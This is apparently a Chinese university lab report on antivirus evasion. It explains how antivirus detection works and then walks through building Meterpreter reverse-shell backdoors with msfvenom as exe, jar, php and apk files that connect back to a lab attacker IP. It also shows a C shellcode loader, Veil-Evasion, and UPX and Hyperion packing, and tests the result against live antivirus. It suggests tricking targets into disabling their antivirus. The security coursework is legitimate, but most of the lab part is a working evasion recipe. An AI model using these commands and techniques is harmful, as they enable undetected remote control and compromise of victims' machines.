# 2018-2019-2 网络对抗技术 20165217 Exp3 免杀原理与实践
免杀原理及基础问题回答
一、免杀原理
- 一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术。
- 要做好免杀,就时清楚杀毒软件(恶意软件检测工具)是如何工作的。AV(Anti-virus)是很大一个产业。其中主要的技术人员基本有编制恶意软件的经验。
- 反过来也一样,了解了免杀的工具和技术,你也就具有了反制它的基础。
二、基础问题回答
- 问:杀软是如何检测出恶意代码的?
- 基于特征码的检测:简单来说一段特征码就是一段或多段数据,经过对许多恶意代码的分析,我们发现了该类恶意代码经常出现的一段或多段代码,而且是其他正常程序没有的,即特征码。如果杀软检测到一个可执行文件包含特征码就认为其是恶意代码。
- 启发式恶意软件检测:就是根据些片面特征去推断。通常是因为缺乏精确判定依据。(非精确)
- 基于行为的恶意软件检测:可以理解为加入了行为监控的启发式。通过对恶意代码的观察研究,发现有一些行为是恶意代码共同的比较特殊的行为,杀软会监视程序的运行,如果发现了这些特殊行为,就会认为其是恶意软件。(非精确)
- 问:免杀是做什么?
- 使用一些技术手段对恶意软件做处理,让它不被杀毒软件所检测。同时,免杀也是渗透测试中需要使用到的技术。
- 问:免杀的基本方法有哪些?
- 改变特征码
- 只有EXE——加壳(压缩壳 加密壳)
- 有shellcode(像Meterpreter)——利用encode进行编码
- 有源代码——用其他语言进行重写再编译
- veil-evasion
- 半手工
- 改变特征码
- 改变行为
- 通讯方式
- 尽量使用反弹式连接
- 使用隧道技
- 加密通讯数据
- 操作模式
- 基于内存操作
- 减少对系统的修改
- 加入混淆作用的正常功能代码
- 非常规方法
- 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
- 使用社工类攻击,诱骗目标关闭AV软件。
- 纯手工打造一个恶意软件
- 通讯方式
三、免杀效果评价
- 利用VirusTotal或Virscan,它们集成了60多个商业杀毒软件的扫描引擎。可以上传免杀处理过的程序进行检测。
实验内容
任务一(正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧)
(一)正确使用msf编码器
- 我们可以使用msfvenom -l encoders查看可以使用的编码器来生成不同的后门,更多的参数可以参考msfvenom一些用法
- 将实验二中用msf命令生成的后门程序放到virscan网站中扫描结果如下:
可以知道
后门程序如果不加处理,绝大多数杀软很快就可以识别出来。
- 我们使用msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.5.138 LPORT=5217 -f exe > met-encoded.exe
进行10次编码试试降低检出率
irscan网站](http://www.virscan.org/language/zh-cn/)扫描
并没有实质变化,因为msfvenom会以固定的模板生成exe,所有它生成的exe,如果使用默认参数或模板,也有一定的固定特征。而AV厂商会针对其使用的模板来生成特征码,这样就一劳永逸地解决所有msfvenom生成的恶意代码了。
(二)msfvenom生成如jar之类的其他文件
- 生成jar文件:msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.5.138 lport=5217 x> yq_backdoor_java.jar
- 生成php文件:msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.5.138 lport=5217 x> yq_backdoor.php
- 生成apk文件:msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.5.138 LPORT=5217 R > yq_backdoor.apk
(三)veil-evasion
- 安装步骤参考安装免杀工具Veil-Evasion,过程很慢(耐心ing)(在最后一步输入命令回车后不要动,最后选择默认选项一直等待安装完成)(因为我的安装完后无法生成输出文件,估计因为镜像版本的原因我用的18.1版本的,就拷贝了同学的虚拟机19.1版本的veil生成成功)
- 输入veil指令,会出现下面这个界面
e evasion**命令进入Evil-Evasion
use c/meterpreter/rev_tcp.py**进入配置界面
,命令为:set LHOST 192.168.5.138,注意此处的IP是KaliIP;
- 设置端口,命令为:set LPORT 5217
erate生成文件,接着输入你想要playload的名字:veil_c_5217**
保存路径为 /var/lib/veil/output/compiled/veil_c_5217.exe
- 检测一下:
出率有所降低。
(四)利用shellcode编程
- 使用msf生成一段c语言格式的shellcode数组:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.5.138 LPORT=5217 -f c
shellcode写入到下面的C代码中进行调用,命名20165217.c
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
此处省略
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";
int main()
{
int (*func)() = (int(*)())buf;
func();
}
- 交叉编译使该文件可以在windows下运行:i686-w64-mingw32-g++ 20165217.c -o 20165217.exe
- 测试结果如下图:
- 当想要使用windows上执行该程序时,被电脑的360卫士查杀。
(五)加壳工具
简介
- 加壳的全称应该是可执行程序资源压缩,压缩后的程序可以直接运行。
- 加壳的另一种常用的方式是在二进制的程序中植入一段代码,在运行的时候优先取得程序的控制权,之后再把控制权交还给原始代码,这样做的目的是为了隐藏程序真正的OEP(入口点,防止被破解)。大多数病毒就是基于此原理。
- 加壳的程序需要阻止外部程序或软件对加壳程序本身的反汇编分析或者动态分析,以达到保护壳内原始程序以及软件不被外部程序破坏,保证原始程序正常运行。
- 这种技术也常用来保护软件版权,防止软件被破解。但对于病毒,加壳可以绕过一些杀毒软件的扫描,从而实现它作为病毒的一些入侵或破坏的一些特性。
- MSF的编码器使用类似方法,对shellcode进行再编码。
在技术上分壳分为:
- 压缩壳
- 减少应用体积,如ASPack,UPX
- 加密壳
- 版权保护,反跟踪。如ASProtect,Armadillo
- 虚拟机
- 通过类似编译手段,将应用指令转换为自己设计的指令集。如VMProtect,Themida
- 使用压缩壳(UPX)
- 给之前的20165217.exe加个壳:upx yq.exe -o yq.upxed.exe(后来我将名称改为yq.exe,因为网站查杀不了)
- 上传至virscan网站中扫描,概率大大降低,但依然被360查杀。
- 加密壳:
- 将生成upx文件拷贝到 /usr/share/windows-binaries/hyperion/ 目录中
- 进入目录 /usr/share/windows-binaries/hyperion/ 中
- 输入wine hyperion.exe -v yq.upxed.exe yq.upxed_Hyperion.exe进行加壳
- 尝试一下反弹连接:
测试一下:
我用按位置查找查杀出了一个木马,这是实验二中的后门程序。故未查出加密壳后的后门。
任务二(通过组合应用各种技术实现恶意代码免杀)
- 通过组合半手工制作shellcode,压缩壳,加密壳达到了免杀的目的
- 任务成功截图:
任务三(用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本)
注意:由于换了网络,IP地址会发生变化,所有的程序都需要重新生成
- 免杀方法:先用msfvenom生成shellcode,再使用压缩壳和加密壳进行加壳。
- 实验环境:对方电脑为 win7虚拟机,腾讯电脑管家13.0.19837.233